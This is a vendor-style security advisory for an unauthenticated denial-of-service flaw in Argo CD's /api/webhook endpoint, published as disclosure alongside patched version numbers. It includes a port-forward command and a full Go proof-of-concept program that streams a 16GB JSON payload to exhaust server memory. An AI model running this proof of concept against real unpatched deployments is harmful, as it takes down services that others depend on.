Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

Summary

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
    "crypto/tls"
    "io"
    "net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
    size int64 // Total size to generate
    read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
    if r.read >= r.size {
        return 0, io.EOF // Finished generating
    }

    start := false
    if r.read == 0 {
        // Start of JSON
        p[0] = '{'
        p[1] = '"'
        p[2] = 'd'
        p[3] = 'a'
        p[4] = 't'
        p[5] = 'a'
        p[6] = '"'
        p[7] = ':'
        p[8] = '"'
        n = 9
        start = true
    }

    for i := n; i < len(p); i++ {
        if r.read+int64(i)-int64(n)+1 == r.size-1 {
            // End of JSON
            p[i] = '"'
            p[i+1] = '}'
            r.read += int64(i) + 2 - int64(n)
            return i + 2 - n, nil
        } else {
            p[i] = 'x' // Dummy data
        }
    }

    r.read += int64(len(p)) - int64(n)
    if start {
        return len(p), nil
    }
    return len(p) - n, nil
}

func main() {
    // Initialize the custom reader with the desired size (16GB in this case).
    payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
    reader := &DummyJSONReader{size: payloadSize}

    // HTTP client setup
    httpClient := &http.Client{
        Timeout: 0, // No timeout
        Transport: &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        },
    }

    req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
    if err != nil {
        panic(err)
    }

    // Set headers
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("X-GitHub-Event", "push")

    resp, err := httpClient.Do(req)
    if err != nil {
        panic(err)
    }
    defer resp.Body.Close()

    println("Response status code:", resp.StatusCode)
}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6
v2.10.15
v2.9.20

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue